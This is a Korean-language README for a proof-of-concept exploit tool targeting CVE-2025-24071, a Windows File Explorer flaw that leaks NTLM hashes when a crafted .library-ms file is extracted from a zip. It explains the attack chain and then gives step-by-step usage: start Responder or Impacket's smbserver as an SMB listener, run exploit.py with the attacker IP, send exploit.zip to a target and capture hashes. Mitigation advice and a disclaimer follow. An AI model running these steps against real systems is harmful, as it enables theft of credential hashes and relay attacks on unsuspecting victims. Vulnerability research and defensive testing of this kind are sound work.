CVE-2025-24071 - Windows 파일 탐색기 NTLM 해시 유출

📋 개요

CVE-2025-24071은 Windows 파일 탐색기의 취약점으로, NTLM 해시의 무단 유출을 허용합니다. 사용자가 악성 .library-ms 파일이 포함된 특수하게 조작된 .zip 아카이브를 추출하면 Windows 탐색기가 자동으로 파일을 구문 분석하고 공격자가 제어하는 서버로 SMB 인증 요청을 시작하여 추가 사용자 상호작용 없이 피해자의 NTLM 해시를 유출합니다.

⚠️ 취약점 세부사항

🔍 작동 방식

1. 공격자가 자신의 SMB 서버를 가리키는 악성 .library-ms 파일을 생성합니다.
2. 공격자가 파일을 .zip 아카이브로 패키징합니다.
3. 피해자가 Windows 머신에서 아카이브를 추출합니다.
4. Windows 탐색기가 자동으로 .library-ms 파일을 구문 분석합니다.
5. SMB 요청이 피해자의 NTLM 해시와 함께 공격자의 서버로 전송됩니다.
6. 공격자가 오프라인 크래킹 또는 릴레이 공격을 위해 해시를 캡처합니다.

🎬 개념 증명 데모

https://github.com/user-attachments/assets/e71ea7f7-c739-46f1-9e91-1f3b13b21596

참고: 동영상이 인라인으로 재생되지 않으면 이 저장소에서 PoC.mp4를 다운로드하세요.

🚀 사용법

필수 조건

• Python 3.x
• SMB 리스너 (예: Responder, Impacket의 smbserver.py)

단계

1. 저장소를 클론합니다

   root@kitploit:~

   git clone https://github.com/yourusername/CVE-2025-24071.git
   cd CVE-2025-24071
   

2. SMB 리스너 시작 (공격자 머신에서)

   root@kitploit:~

   # Using Responder
   sudo responder -I eth0
   
   # Or using Impacket
   sudo python3 smbserver.py -smb2support fakeShare /tmp/share
   

3. 익스플로잇 생성

   root@kitploit:~

   python exploit.py
   

4. 프롬프트가 표시되면 공격자 IP 입력

5. exploit.zip을 대상에 전송

6. 피해자가 아카이브를 추출할 때 NTLM 해시 캡처

📁 저장소 구조

CVE-2025-24071/
├── exploit.py      # PoC exploit generator
├── PoC.mp4         # Video demonstration
└── README.md       # Documentation

🛡️ 완화 방법

• CVE-2025-24071에 대한 Microsoft 보안 패치 적용
• 방화벽에서 아웃바운드 SMB 트래픽 차단 (포트 445, 139)
• 가능한 경우 NTLM 인증 비활성화
• 릴레이 공격 방지를 위해 SMB 서명 사용
• 신뢰할 수 없는 아카이브 추출의 위험에 대해 사용자 교육

⚖️ 면책 조항

이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 작성자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다.

👤 저자

Nyx0r-PoC

📄 라이선스

이 프로젝트는 교육 목적으로만 제공됩니다. 책임감 있게 사용하세요.

⭐ 이 저장소가 유용하다면 별표를 눌러주세요!